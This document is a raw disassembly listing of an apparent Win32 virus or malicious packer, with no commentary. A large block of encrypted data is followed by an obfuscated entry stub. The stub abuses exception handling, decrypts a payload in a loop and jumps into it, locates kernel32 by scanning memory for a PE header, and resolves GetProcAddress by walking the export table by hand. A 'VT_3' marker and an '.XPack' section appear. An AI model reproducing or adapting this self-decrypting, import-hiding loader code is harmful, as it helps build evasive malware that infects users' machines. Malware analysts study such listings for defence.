dd 4510B2FAh, 0ED54D791h, 27D975ACh, 656B90EDh, 2345E1ABh
dd 60A655BAh, 281C30D9h, 50B94AB4h, 7BBFB045h, 1A6791A2h
dd 2AC925C2h, 126E2631h, 0D0C3C744h, 43AD2CB3h, 0DEF42F53h
dd 0C2AD3AD5h, 93E06FADh, 0D340BD8Eh, 0BE198A8Fh, 698F50C9h
dd 56E2FA75h, 2D1358D9h, 1281529h, 5432D27Bh, 0DF6F0C54h
dd 2E1B6D8Ch, 29F3D37Ah, 0A113E742h, 0E6FFD0D3h, 30AE8F9h
dd 2B2CE578h, 337A52Ah, 7142AAE6h, 5F8DE56h, 2320CDE5h
dd 9432CB2Dh, 90BD3285h, 4811A00Ch, 0F7425706h, 0F7B4B611h
dd 2CF1FF1Bh, 0FBAAFEF5h, 6EA7678Dh, 54ACBAA9h, 371C53E8h
dd 12626FC2h, 7C70FD88h, 2D800178h, 1D37CA5Eh, 58540EAEh
dd 82101FC4h, 31D468C1h, 0C2632AF0h, 0BD045134h, 70BC7020h
dd 628DD3ACh, 290FFFBAh, 2F09D5CBh, 336C7B03h, 0FEBB4996h
dd 2A2817FCh, 65E361BBh, 0BD36A637h, 24665556h, 0B88D8384h
dd 8E9687AAh, 4794362Fh, 20D93D95h, 6B98F214h, 8BBD255Dh
dd 9F8F3C9Ch, 0ADBAD602h, 4CED5340h, 815B6020h, 1CA0A0D8h
dd 0A50575D7h, 5C4AD21Bh, 17894D3Eh, 9F1AB586h, 5BD69C16h
dd 0E93EB44Fh, 34F09A90h, 0C794355h, 9DDF0827h, 80A36C8Eh
dd 0C0CD4836h, 7CF8F61Ch, 14939FDCh, 287B807Fh, 4352A0FDh
dd 427FFD74h, 6860CF77h, 470ECD42h, 5D2F486Ah, 1B0A6342h
dd 804AA94Bh, 0C9F2054h, 0FC045DC1h, 0EC1AB922h, 29C81599h
dd 18480948h, 3A5C239Ch, 79EDA161h, 0AC3807BCh, 0EF5F8245h
dd 5D510410h, 70699E96h, 8B615674h, 3F761834h, 0E3F53E62h
dd 0EB146058h, 74AC89F2h, 159C08Ah, 1F7DC51Ah, 0ECA7EF66h
dd 2F72CEB1h, 98F6B547h, 0B01F2107h, 970A14F6h, 4735C522h
dd 0F850EBB4h, 0F0A63821h, 74A79AC9h, 358AD380h, 0EBCFFB44h
dd 0E29DA309h, 11ADC1D4h, 56CDDF44h, 0F408C3CFh, 0BAA1A209h
dd 0A0A31DEEh, 0F42F548Bh, 0DD9BA6FEh, 0CFA65584h, 0F77C940Fh
dd 8781E802h, 46F98106h, 7530BBC8h, 40FD8DCh, 0DD80FD35h
dd 1F5CD949h, 0B19BCF61h, 7C083C54h, 0C427CCC0h, 0CB61D1BFh
dd 4C848F52h, 53A859Ah, 0A6F49B5h, 0F7DF18F5h, 0E098E75Bh
dd 6EC097B9h, 0CA74409Fh, 0ED698329h, 0B4913C9Eh, 183879CBh
dd 9D87B8Ch, 0AD4E6E4Dh, 0E7C04669h, 8E3E251Bh, 0B9463777h
dd 625B2E6Bh, 0F53D4091h, 1B212D0Eh, 9B4AE60Eh, 9FA86D3Ch
dd 8F94FBF9h, 894C6659h, 0B9029230h, 0DB8DF781h, 0E663E404h
dd 9E7A3F4Fh, 34D6BADDh, 7B1F6967h, 4E154F7Dh, 683265DAh
dd 42729833h, 0DA55B60Eh, 56E6ABA1h, 9AD59E9Ch, 0C9A7F0DAh
dd 0F3052BCEh, 63C5C2FDh, 8FFFE4A9h, 0CDDDA873h, 5426DBE5h
dd 0B076556Bh, 12C6AE6Fh, 5575DE96h, 62D41E59h, 7435202Ch
dd 229EF8DAh, 450AB631h, 4899FBBAh, 0C5A018FBh, 0D2D137C3h
dd 0C5F7E3FFh, 0BE3021F5h, 75D473E2h, 65EDE1E9h, 0BBE4EA0Bh
dd 823E8E27h, 8C56742Eh, 50CD3698h, 0D5DE31D7h, 60E1DD98h
dd 9FC899FAh, 1FB73611h, 25B31DADh, 7CAFF4Dh, 0D874DB13h
dd 25000504h, 0B0CC66A0h, 0EEDB8297h, 35F81349h, 638A97Fh
dd 153C14E8h, 0F89B4AB0h, 197F191Bh, 7967881h, 0A9EA1283h
dd 3EBC42E0h, 3A8A500Bh, 0FBB7A06Dh, 8147EEA0h, 0E5115A11h
dd 6F58E43h, 0D735424Fh, 0DA9D2F5Dh, 0CF2C8156h, 3E24B0E1h
dd 29A3B1C5h, 0E0A0A513h, 0DFC29523h, 4348DA81h, 0E3AC3705h
dd 5EE97FD1h, 0AF4A848Ch, 0BEDFF469h, 9092F358h, 0ED89B575h
dd 0E9E58F31h, 0F4EE0B51h, 8F6C8E11h, 0DBA1E1A4h, 2AD52C53h
dd 0BE95D3A9h, 4D48A0C4h, 5C9AD716h, 0B6429ADDh, 9BE6A043h
dd 1441867Eh, 0EBB1AA16h, 59C4C22Fh, 3D2F16Fh, 0CA056604h
dd 3E550A87h, 0F5A59F76h, 912D7DCh, 86C3CF20h, 6D56204Bh
dd 1D2D3C9Bh, 2882DF0Bh, 73643FDCh, 3DE219FCh, 59474004h
dd 58A63CB1h, 4D223F56h, 1A0324B3h, 0DCE8C504h, 78AF3A0Fh
dd 28A3C235h, 0C0F1473Bh, 521E9EC1h, 5F261BA8h, 33B5B4F3h
dd 92F4448Ch, 0A995D54Ah, 47AAC7FCh, 572D49EDh, 0BA2635Bh
dd 3D8BC17Fh, 31E50A68h, 0F1D5A59Dh, 0EBB1101h, 0E1A084A0h
dd 0F0019508h, 12A46E68h, 6B07DD29h, 5F015520h, 0C4FB4AA0h
dd 0FE55BFF6h, 40CF31C7h, 5C1EB40Eh, 102C0A7Ch, 7D22E743h
dd 0E08C5D73h, 23CCCC09h, 5E896B90h, 0BA54C6C1h, 45442EF8h
dd 0E841D04Fh, 0F13F470Ch, 0BF69BE96h, 0AFAE1589h, 78142BD6h
dd 42079F01h, 0C219B762h, 633515C6h, 6EAC786Ah, 79812212h
dd 36B4DAFAh, 4BC63D82h, 0CDB3C0D0h, 0F8C9171Eh, 7C7182Fh
dd 3E0F2BFEh, 9EFE61A3h, 0B64B2A76h, 0CE16D7C9h, 65DA70Ch
dd 731F2E1Eh, 0C1390EBEh, 5D57FA54h, 5998D95Dh, 0D4FCA1EDh
dd 159A4334h, 0E8C39AC6h, 271D4511h, 874DD151h, 90F91637h
dd 0F862AADEh, 0BE58607Ch
dd 0D1BE017Fh, 0EF4E2DCFh, 96CA3E85h, 18C667AFh, 392C62Bh
dd 24A5BAB3h, 7EA85EE6h, 68667D81h, 47AD1E00h, 0CE078654h
dd 7939E4FAh, 627A6E14h, 0BB0BB348h, 5476314Bh, 0BB904350h
dd 0E92512A0h, 0B677A325h, 4496F7ADh, 3BD7C9B5h, 0C62A532Fh
dd 8EF03B8Ch, 0F1AA5B9Dh, 3EA260A6h, 58E0D4B7h, 0D03E5A85h
dd 6A96CE5Fh, 68E404ABh, 3337AC22h, 5731B0C3h, 0F680A766h
dd 0DF8645D2h, 8525FEEFh, 7B301200h, 0DD62279Dh, 0DEA29B0Eh
dd 51E74F02h, 0CFAC3AE4h, 31A93776h, 0CBD086D4h, 0A77E4772h
dd 0CA7E35A4h, 45FCE5C6h, 907CE0ADh, 256EA321h, 921969B2h
dd 96534BB2h, 0B4E99E10h, 0D1EC1021h, 0BB23165Fh, 5FDD622h
dd 95A05F8Fh, 0D64F0A82h, 5E878331h, 0BFD27950h, 25E26FF6h
dd 17FE751Ch, 5D970DA5h, 0A7423024h, 0A62387E1h, 82168600h
dd 0C0F18C52h, 0C380D6Ch, 31629CBAh, 397F1882h, 2E3B664Ch
dd 42496564h, 6C25681Dh, 0F99E4866h, 631D0580h, 0EBE22724h
dd 0CE88B485h, 0D4260659h, 7B8F1A63h, 0B846171h, 0B6612415h
dd 5A0F255Bh, 7DEF6BF7h, 9839E85Bh, 33B70003h, 6F3E88DEh
dd 4B7C551Bh, 30DAD75Bh, 0E4225F5Ah, 0C5FB5064h, 96BB7670h
dd 0B9F18420h, 0C0A13384h, 1406C34Fh, 2DA2A5EEh, 2A6EA6A8h
dd 1ABECF47h, 17167433h, 0C19F9EDDh, 0E206A41Ah, 39F62E68h
dd 9D84FA5Bh, 8DE65783h, 1D69011h, 0C2C0FAA1h, 7878E719h
dd 5EBCCC01h, 746C0944h, 71CAF8E8h, 0AF4B310Ch, 92EBDC4h
dd 4834EB8Fh, 3600C292h, 0F7682107h, 0BAFB23F2h, 13E1358Bh
dd 83C21A69h, 0B58DAEDCh, 3F7FB2BEh, 0B05F721Ch, 0B74A9FDBh
dd 0C1096629h, 1F9FDFCFh, 35333CF0h, 3217B41Dh, 4684BC61h
dd 8592BDB5h, 25C32B13h, 8AFC808Dh, 8C67C0DEh, 963BC84Ch
dd 0CB2487EEh, 17A0C2h, 4DD9EBB4h, 1815BBDh, 0D9973694h
dd 0A43CE180h, 9A9BAE9Ah, 0E4B4B4F3h, 0F641BB6Bh, 7130275Eh
dd 3837FD6h, 8B3E7300h, 0AFF936CFh, 122E0583h, 0B51BA338h
dd 622C406h, 0A1060C7Fh, 0ACD9A15Bh, 8DF3E3C8h, 9F28AFACh
dd 0DC971645h, 0E71F20A6h, 0DE5B0D33h, 1A8BEA52h, 0F34DB916h
dd 3F53F29h, 99EC205Eh, 0E7CB27D4h, 2C260ED7h, 447EEBC0h
dd 74FC8E8Bh, 359DC4AEh, 0B0B32CB7h, 9FCB6035h, 0EF113F0Bh
dd 768FCA9Ah, 0DA4839Dh, 89BBE824h, 2F6475DAh, 0F289BD35h
dd 99B76D1Ah, 8C62B5DCh, 0CF4CDF0Ah, 4D078F48h, 0B0EE9862h
dd 7F4A0E27h, 34B323E7h, 86EA26CAh, 0D5A4F158h, 861611B4h
dd 51CA70Eh, 0C8C523FBh, 0F91C274Eh, 0B39A8D1Ch, 0EBB8DD70h
dd 0D98CA107h, 0E8F4B3F3h, 5B7E9C83h, 830D4EA9h, 9D6F68B8h
dd 3EED56A0h, 0BB741069h, 2028C510h, 50CF5FF8h, 221D3F31h
dd 881210F7h, 5D0C63D5h, 0A08E2EADh, 17BC82Eh, 701679FCh
dd 96FBAEE5h, 7FBFC31h, 0D428B196h, 0EE51FC13h, 0EDFC6BEAh
dd 708E9CB5h, 750F3EC9h, 0C02C720Fh, 48D97CA7h, 0E4A22F9h
dd 412594A5h, 0DB2F6608h, 4D9A044Bh, 194B32D9h, 0E81BA7B9h
dd 0DD507753h, 0BB36EC8Fh, 3C1376B5h, 8F5C3CC0h, 0A9AB51E2h
dd 0FBFFC525h, 1FF778CBh, 0E11CEBBCh, 0BBB8E49Dh, 0AA4C10FFh
dd 0EFE876D5h, 8C249346h, 4575688Bh, 9B3BDA4h, 5F34B00h
dd 0D158CBA0h, 0AE2EF3D8h, 7F28859Dh, 2B9C32A0h, 4A69852Eh
dd 3A00959Fh, 80266AFBh, 1C29242Eh, 1A5B5021h, 0F63D5ED1h
dd 66AAA9E2h, 0F31E323Dh, 0EF112482h, 20A0D9FAh, 0A9522A72h
dd 9B6B7CF7h, 0A7FCDE3Ch, 695F0C18h, 0C6C1397Dh, 0FBE99192h
dd 70BF492Dh, 74C3C27Fh, 0A4340D89h, 6588447Ch, 0A1CE4D61h
dd 755C8E39h, 83939F0Ah, 6B76952Bh, 0E8BF2E97h, 2C77FB3h
dd 98A1E25h, 0ACCAF464h, 6F7B6DCCh, 0C40D4DBDh, 0AE2FB025h
dd 0A56B584Ah, 9D239F35h, 0A6E73958h, 9E3EC58Ch, 992B3627h
dd 0F214B1A2h, 5662DF1Ah, 0CEEC7584h, 84FEE708h, 69883427h
dd 0F797FE79h, 0C996D6F8h, 0A37723B4h, 490D2867h, 0EDC8C37Ch
dd 246C1676h, 586E3EA9h, 43238201h, 0FC17555Dh, 5869F467h
dd 0CD649FCEh, 0C4B8111h, 6BF0CB8Ch, 45C6FFFh, 42BBD79Fh
dd 3F9A093Dh, 28DFE34Ah, 0B7EABACEh, 0AF8B8CC4h, 0C1ECBC2Fh
dd 8A0E3852h, 4A8B14BEh, 0D80D2D11h, 788FF1BAh, 75A2B7F7h
dd 0B483836Ah, 4451F0EBh, 0DC4292E0h, 5A7BB89Ah, 0EA74125Dh
dd 0F09C0E03h, 8C66E14Ch, 76C588A6h, 35C4E35h, 2A2E7848h
dd 0D2FA2D68h, 390610C2h, 0BAAE3A13h, 0A1B9E8D6h, 0D03CCEF8h
dd 0CF06EC16h, 8BE010Bh, 0A36A1D3Fh, 855181CBh, 20871500h
dd 7AAA93F7h, 36D3FCBAh, 9E66CDA3h, 5D349ABh, 0E485BD31h
dd 3A3A016h, 10C75C25h, 0F52F4E50h, 0D4041C30h, 1BC300D4h
dd 287808C9h, 397553F7h, 66A2419Bh, 77BBF4CFh, 0E181A447h
dd 0D10ADBB9h, 39FF65ABh, 427AD358h, 0D4EFB8A6h, 0BBC03EE3h
dd 88E05FE3h, 1B1189FEh, 3F7313BEh, 6006802Fh, 0B040AEE8h
dd 115ACFDFh, 46E7B3EAh, 82F4FB22h, 8B332562h, 0B24BFA48h
dd 634A8F7h, 6E1FEAD6h, 1352B14Bh, 8B981E16h, 93F39CFEh
dd 0F12BD802h, 0B8E2D944h, 1F02C6FFh, 30D20D2Eh, 692A452Ah
dd 0B9A42CF0h, 0E97E227Dh, 781D3B3Ch, 62C5E62Ah, 0EA6AFF5Fh
dd 0C491287Ah, 1BB3FFBAh, 4DBC421Eh, 40C33AC3h, 40C3A8D2h
dd 0E274CAEAh, 9CB0A0ECh, 16CC4702h, 0A34DA781h, 1DB25C64h
dd 8D1DFBF6h, 9EC82193h, 0ABC0FC7Eh, 696E7CA6h, 0EA37B5BDh
dd 0A9FD18DDh, 0E579BD7Bh, 9B5E86B4h, 65102B67h, 0F0B473F0h
dd 74B7A51h, 908FBD7Dh, 8C51DEE0h, 5BDE0F50h, 15EF5715h
dd 6E06F7C5h, 0E97D43D4h, 2A8BA876h, 16B2CA31h, 0AAFAC637h
dd 5FB1116h, 0D552CC81h, 0DA546B42h, 5D14FF4Fh, 849DE5E7h
dd 94CC9CCEh, 994EFE39h, 3D102005h, 0DC63D6C1h, 0BD57EA26h
dd 0AE2449C1h, 0B04F359Bh, 958A5D80h, 1F441003h, 0AC4B610Ch
dd 5F3F93D9h, 0F7A66A18h, 337503C4h, 2627B398h, 7AF6D814h
dd 0AC2F8B06h, 0A69A3FC4h, 0D8BDC716h, 4C5FA5BCh, 9F256F1Ch
dd 0CDD35915h, 0F993E75h, 2BF2978Ah, 2ACADA41h, 1BCC1B1Eh
dd 6CAECC3Ah, 0F370D3A8h, 519D7733h, 5529DF50h, 56B05B92h
dd 9231080Bh, 1D7B8D74h, 0BB546073h, 26131A34h, 0D5E86193h
dd 6607F3C0h, 2CDFC531h, 7E224BEh, 37456F65h, 6B4A10EDh
dd 5C69E026h, 845517B0h, 0E1DC16EDh, 3BBB73ADh, 7157CDB9h
dd 0E51EF213h, 0C13E8320h, 0B9DD07E2h, 0A9A00B7Ah, 41A5E91Eh
dd 772FD622h, 37429151h, 4B138E00h, 99DE4F1Dh, 0D0533FFDh
dd 5FFA77F1h, 4B997D9Dh, 947B00B1h, 2EC5D747h, 0FE54D9B4h
dd 70259140h, 0E5D9AC4Dh, 0DA05E478h, 0D151E614h, 97D780DDh
dd 0B11124A3h, 0EC03F71Fh, 0DC2ED7B2h, 1D16A26Dh, 658E7F43h
dd 931075D4h, 0C66DCF53h, 666BF070h, 2ED4E81Ch, 0F443C71Fh
dd 966EC896h, 0FDFCEBh, 287922E9h, 0E730CF29h, 3F486199h
dd 50B6E39Fh, 0BE15F608h, 19F64763h, 0DBE0A244h, 0F5DC92Ah
dd 0FED49D42h, 0DAE933DEh, 4F57AF3Ch, 70620951h, 1536BC5Ch
dd 0B6ACE656h, 0E9C8C867h, 5D075B53h, 0D73534FFh, 7529DB9Ah
dd 227A1F05h, 890E9A04h, 56779F3Fh, 0A1FBE6E1h, 9E942E50h
dd 0BBE3C196h, 50B62651h, 7E7232BDh, 6BEF1F19h, 0E23027D0h
dd 8534BCDDh, 4BF26CB7h, 4F95C477h, 0D3203CCAh, 159ADFB6h
dd 79EEA683h, 0C7D08F8Ah, 0B215B291h, 808609E6h, 0A4657ED2h
dd 8BAB423Ch, 51DD3764h
dd 0D88F9F3Eh, 0BEB91075h, 6C5CFBF8h, 91728715h, 7B6ADA7Ch
dd 7C08BE7h, 41763650h, 0B980D9C1h, 2F9CAEB7h, 0E34EE28Ch
dd 5EC69A3h, 9DE3BF8Ah, 334C67BDh, 6F005767h, 0F2E9CFB4h
dd 68ABF13Ah, 0C0D309B0h, 29F4450Dh, 24A231AFh, 0A2AF5422h
dd 91BAAA44h, 81EA0E10h, 0C7C2B991h, 8C275A13h, 47B5432Ch
dd 6B990A51h, 0D708B660h, 28EA53F1h, 0CDA43557h, 82EF8CD7h
dd 0C3A2429Eh, 0E5527C17h, 96081485h, 878402A3h, 0BF598438h
dd 9267C134h, 21050E7Dh, 94F64F0Ch, 9E430342h, 18ECE9EDh
dd 31C6632Dh, 82F22FA8h, 2C3AF99h, 9463B40Eh, 48B8B148h
dd 48E8B247h, 0A6D39C7Bh, 0B539012Bh, 0F9B42D7Fh, 0C30A591Bh
dd 398850ECh, 223DA826h, 0FAC92ADh, 17094302h, 88DF0555h
dd 0C1008574h, 3A8F9408h, 8EEEC6Fh, 3B162B4Ah, 33707561h
dd 0BDFAE0E4h, 54D85804h, 777F6949h, 909E0FFAh, 954BCF11h
dd 0E2BD8DC9h, 0B05C574Dh, 96D3CCF4h, 0FE46BB15h, 11F1D9Bh
dd 178B2FA8h, 0C486C634h, 0B4B28F01h, 0CC0861FAh, 0E6A7043Eh
dd 0EC39EBEFh, 0C9E3CDB1h, 0DF2A3E17h, 5EBF82FFh, 9B8B725Dh
dd 6009D266h, 40E2C45Fh, 16670710h, 9C62F42Eh, 0CF446DBh
dd 10CE415Eh, 0C3003BBBh, 0B7B457A3h, 0A1EFFF11h, 0BF9758F2h
dd 7DFCE38Fh, 57A34BE4h, 0A17A35D4h, 93D9470Bh, 564468FDh
dd 45EBEF4Ah, 7164EB0Fh, 0D17DD4F0h, 30205E2Ah, 22ADECF4h
dd 0A547EC74h, 0C0601BA6h, 53C0BFD3h, 9DCD2FDDh, 1CA38088h
dd 93E1890Bh, 594D0B97h, 3EC6A847h, 0BC735E4Eh, 7177930Fh
dd 0EF3753B5h, 85D61543h, 5020D9E3h, 0C0451D3Ch, 1E029523h
dd 0C8B835Fh, 2251DF75h, 0CC43F0D6h, 9E18D2FFh, 1369686Fh
dd 6CD85A9Bh, 0E083CDB4h, 0A1492060h, 6F341754h, 216B41Fh
dd 79154166h, 238320F7h, 0A506CEB4h, 35E76EF5h, 2BF7265Bh
dd 0CF11BC75h, 9DB21B04h, 59494FA9h, 81D08E55h, 0E372827h
dd 17A9B533h, 1246548Ch, 79B42023h, 3588E1A0h, 16089DD1h
dd 3C6CD8Bh, 94F83280h, 9D4B0935h, 9C301B63h, 884E6C87h
dd 5B1CF94Bh, 0AFF10E94h, 0F8C0CF7Eh, 27B7C2BFh, 9352DFD2h
dd 39489197h, 2D35FAD8h, 4A904FC3h, 4997F375h, 8B3A8DE3h
dd 2804C36Bh, 65A421Dh, 0B3C59BD1h, 0BC9A683Fh, 0D225388Fh
dd 804D25A4h, 2FB369D7h, 61035325h, 0C9E565E5h, 6B17EAAFh
dd 1225B407h, 14F374F5h, 44EF83C4h, 89B2C5A4h, 0BEBA3178h
dd 0A9479685h, 3F1E2180h, 84467D8h, 0B88159C3h, 7A7C70F8h
dd 0A42470C5h, 64076479h, 1562D81Ch, 825E9663h, 42C18A61h
dd 0C4DDA44Ch, 4495FAFAh, 87AD2BD0h, 0C60360CCh, 9502B9E1h
dd 32D3D18Eh, 0CE635826h, 598B352Ch, 7FEA69B3h, 0B1BD0F29h
dd 0E31BD4Ah, 0E893ED69h, 65B12490h, 62A24787h, 2B4260B9h
dd 13DEF917h, 62C7257Fh, 2EDFEAB5h, 0D405F121h, 49427D97h
dd 0C5847BD9h, 75AC9FB2h, 5B027104h, 4230D2FEh, 0F5EDC81Ch
dd 3EF32383h, 2227404Fh, 5AD227D3h, 0B5340149h, 6C057987h
dd 36E2FAF7h, 0FBD8AD6Bh, 33D69C51h, 4017624Bh, 8CA82D21h
dd 2B7CE6B1h, 0C6FAFE70h, 0DC76C2BCh, 274DCEA5h, 0C0A555BEh
dd 1E569E78h, 73F30434h, 0D4C131B7h, 26B164ADh, 0DE7D664Ch
dd 0AB4EC646h, 85B63242h, 8DE323C7h, 7B49C912h, 0F18A9EBAh
dd 0C0D5794Ch, 0C7EDA4B3h, 42FB11CDh, 25AE92ADh, 47727237h
dd 6850E59h, 69E9270Ah, 0C91C9428h, 9D08BD26h, 0A286FEE8h
dd 0B07354A9h, 0D193557Fh, 74D8D1BAh, 0DE56AA86h, 9EC051B8h
dd 0EB61CDECh, 0DAD99F8Dh, 0C457E2EBh, 0FD342050h, 31216F3Bh
dd 66363D8Bh, 2A06443Fh, 78066D41h, 83BFDED0h, 608BE432h
dd 6D73F149h, 88D8B648h, 0C184040Dh, 0EB08EE57h, 0A285A494h
dd 2EADF9DAh, 16B20800h, 0D8066A26h, 0FCB0031Bh, 987BE7D0h
dd 34352DE8h, 335A7BF9h, 50A1048Dh, 9660B772h, 0F6F5306Bh
dd 3649FA95h, 507410E6h, 602D37F8h, 0B272EBDDh, 54F646E4h
dd 2C7588F0h, 50C2DB30h, 97229154h, 0C95F0306h, 0C0143B70h
dd 0A5983732h, 0E8A50115h, 0EC2A09A3h, 265AFFAAh, 160C72ACh
dd 39BEA792h, 70E1248Fh, 5F23A79Eh, 5CC828ECh, 72E9A64Fh
dd 6757DA06h, 0CC26BB9Ah, 4356B548h, 0FF899A5Ch, 430254FDh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
public start
start proc near
push ebp
mov ebp, esp
call sub_4F9DFA
call sub_4F9EB3
jmp loc_4F9E60
start endp
; =============== S U B R O U T I N E =======================================
sub_4F9DFA proc near ; CODE XREF: start+3p
var_70 = dword ptr -70h
var_68 = dword ptr -68h
; FUNCTION CHUNK AT 004F9ED3 SIZE 00000116 BYTES
; FUNCTION CHUNK AT 004FA057 SIZE 0000000A BYTES
push dword ptr fs:0
mov fs:0, esp
xor ebx, ebx
push ebx
push 80000000h
push ebx
push 80000000h
push 80000000h
push 80000000h
push ebx
push 80000000h
push ebx
push ebx
push ebx
push 10h
push ebx
call ds:dword_4E1034 ; GetProcAddress
xor eax, eax
push eax
push 80000000h
push 80000000h
push 2
push 80000000h
push eax
push eax
push 4
push eax
push eax
push eax
push 80000000h
push eax
call ds:dword_4E1034 ; GetProcAddress
loc_4F9E60: ; CODE XREF: start+Dj
sub eax, eax
loc_4F9E62: ; CODE XREF: sub_4F9DFA+6Ej
dec al
or al, al
jz short loc_4F9E6C
jnz short loc_4F9E62
jmp short loc_4F9ED3
; ---------------------------------------------------------------------------
loc_4F9E6C: ; CODE XREF: sub_4F9DFA+6Cj
sub ebx, ebx
sub ecx, ecx
mov cl, 0EFh
loc_4F9E72: ; CODE XREF: sub_4F9DFA+79j
inc ebx
loop loc_4F9E72
call sub_4F9EB0
sub esi, 0FFFFFFBAh
push esi
sub edx, edx
or edx, 243Ch
loc_4F9E89: ; CODE XREF: sub_4F9DFA+A1j
xchg al, [esi]
sub ax, bx
xchg al, [esi]
inc esi
add bx, 1Ah
sub edx, 1
or edx, edx
jnz short loc_4F9E89
pop esi
xchg ebp, fs:0
mov esp, ebp
pop dword ptr fs:0
pop ebx
pop ebp
jmp esi
sub_4F9DFA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4F9EB0 proc near ; CODE XREF: sub_4F9DFA+7Bp
pop esi
jmp esi
sub_4F9EB0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4F9EB3 proc near ; CODE XREF: start+8p
arg_C = dword ptr 10h
mov edx, [esp+arg_C]
xor eax, eax
pop dword ptr [edx+0B8h]
retn
sub_4F9EB3 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 90h
; ---------------------------------------------------------------------------
call $+5
mov eax, [esp]
test dword ptr [eax+242Bh], 80000000h
; START OF FUNCTION CHUNK FOR sub_4F9DFA
loc_4F9ED3: ; CODE XREF: sub_4F9DFA+70j
mov [eax+29ACh], ebx
mov ebx, [esp+6Ch+var_68]
jz short loc_4F9F0C
cld
pop ecx
mov [eax+29B0h], esi
mov [eax+29B4h], edi
cmp byte ptr [eax+242Fh], 0E8h
jnz short loc_4F9F03
add ebx, [eax+2430h]
mov ebx, [ebx+2]
push dword ptr [ebx]
jmp short loc_4F9F0B
; ---------------------------------------------------------------------------
loc_4F9F03: ; CODE XREF: sub_4F9DFA+FAj
mov ebx, [eax+2431h]
push dword ptr [ebx]
loc_4F9F0B: ; CODE XREF: sub_4F9DFA+107j
pop ebx
loc_4F9F0C: ; CODE XREF: sub_4F9DFA+E3j
push ebp
xchg eax, ebp
sub [esp+6Ch+var_68], 18EC6h
and ebx, 0FFFFF000h
sub ebp, offset loc_401006
mov edi, [esp+6Ch+var_68]
lea esi, [ebp+40343Ch]
mov ecx, 0
rep movsb
loc_4F9F33: ; CODE XREF: sub_4F9DFA+155j
cmp dword ptr [ebx+4Eh], 73696854h
jnz short loc_4F9F49
mov eax, [ebx+3Ch]
lea eax, [eax+ebx]
cmp word ptr [eax], 4550h
jz short loc_4F9F51
loc_4F9F49: ; CODE XREF: sub_4F9DFA+140j
sub ebx, 100h
jnz short loc_4F9F33
loc_4F9F51: ; CODE XREF: sub_4F9DFA+14Dj
mov edx, [eax+78h]
add edx, ebx
mov esi, [edx+20h]
mov ecx, [edx+18h]
add esi, ebx
push ecx
loc_4F9F5F: ; CODE XREF: sub_4F9DFA:loc_4F9F86j
lodsd
add eax, ebx
cmp dword ptr [eax-1], 74654700h
jnz short loc_4F9F86
cmp dword ptr [eax+3], 636F7250h
jnz short loc_4F9F86
cmp dword ptr [eax+7], 72646441h
jnz short loc_4F9F86
cmp dword ptr [eax+0Bh], 737365h
jz short loc_4F9F8B
loc_4F9F86: ; CODE XREF: sub_4F9DFA+16Fj
; sub_4F9DFA+178j ...
loop loc_4F9F5F
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4F9F8B: ; CODE XREF: sub_4F9DFA+18Aj
sub [esp+70h+var_70], ecx
mov esi, [edx+24h]
pop ecx
add esi, ebx
movzx eax, word ptr [esi+ecx*2]
mov edi, [edx+1Ch]
add edi, ebx
mov esi, [edi+eax*4]
add esi, ebx
call near ptr loc_4F9FB1+2
inc ebx
insb
outsd
jnb short near ptr loc_4FA00F+2
dec eax
popa
outsb
db 64h
insb
loc_4F9FB1: ; CODE XREF: sub_4F9DFA+1A8p
add gs:[ebx-1], dl
setalc
mov dword ptr ss:loc_40353C[ebp], eax
call near ptr loc_4F9FCD+1
inc ebx
jb short near ptr loc_4FA028+1
popa
jz short near ptr loc_4FA028+4
inc ebp
jbe short near ptr loc_4FA02E+1
outsb
jz short near ptr loc_4FA00C+2
loc_4F9FCD: ; CODE XREF: sub_4F9DFA+1C2p
add [ebx-1], dl
setalc
mov [ebp+403540h], eax
call sub_4F9FE9
inc edi
db 65h
jz short near ptr loc_4FA028+4
popa
jnb short loc_4FA057
inc ebp
jb short near ptr loc_4FA057+1
outsd
jb short $+2
; END OF FUNCTION CHUNK FOR sub_4F9DFA
; =============== S U B R O U T I N E =======================================
sub_4F9FE9 proc near ; CODE XREF: sub_4F9DFA+1DDp
; FUNCTION CHUNK AT 004FA092 SIZE 000000B1 BYTES
; FUNCTION CHUNK AT 004FA1D2 SIZE 0000013A BYTES
push ebx
call esi
mov [ebp+403544h], eax
call sub_4FA067
test eax, eax
jz short loc_4FA01C
push eax
call dword ptr [ebp+403544h]
test eax, eax
jnz short loc_4FA016
lea eax, loc_4011D2[ebp]
loc_4FA00C: ; CODE XREF: sub_4F9DFA+1D1j
mov dl, [eax-1]
loc_4FA00F: ; CODE XREF: sub_4F9DFA+1B0j
call sub_4FA082
jmp short loc_4FA092
; ---------------------------------------------------------------------------
loc_4FA016: ; CODE XREF: sub_4F9FE9+1Bj
; sub_4F9FE9+136j ...
call dword ptr ss:loc_40353C[ebp]
loc_4FA01C: ; CODE XREF: sub_4F9FE9+10j
test dword ptr [ebp+403431h], 80000000h
jz short loc_4FA046
loc_4FA028: ; CODE XREF: sub_4F9DFA+1C8j
; sub_4F9DFA+1CBj ...
lea esi, loc_403435[ebp]
loc_4FA02E: ; CODE XREF: sub_4F9DFA+1CEj
mov edi, [esp+4]
movsb
movsd
mov ebx, [ebp+4039B2h]
mov esi, dword ptr ss:loc_4039B6[ebp]
mov edi, [ebp+4039BAh]
loc_4FA046: ; CODE XREF: sub_4F9FE9+3Dj
pop ebp
retn
sub_4F9FE9 endp
; ---------------------------------------------------------------------------
loc_4FA048: ; CODE XREF: sub_4FA067+2p
; sub_4F9FE9:loc_4FA251p
pop edx
push 0
push 0
push 0
push 0
push 40001h
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4F9DFA
loc_4FA057: ; CODE XREF: sub_4F9DFA+1E7j
; sub_4F9DFA+1EAj
les ebp, [edx+0]
push eax
push 0Ch
mov eax, esp
jmp edx
; END OF FUNCTION CHUNK FOR sub_4F9DFA
; ---------------------------------------------------------------------------
aVt_3 db 'VT_3',0
db 0
; =============== S U B R O U T I N E =======================================
sub_4FA067 proc near ; CODE XREF: sub_4F9FE9+9p
; .XPack:loc_4FAD0Cp
xor ecx, ecx
call loc_4FA048
lea edx, [ebp+4011A1h]
push edx
push ecx
push ecx
push eax
call dword ptr [ebp+403540h]
add esp, 20h
retn
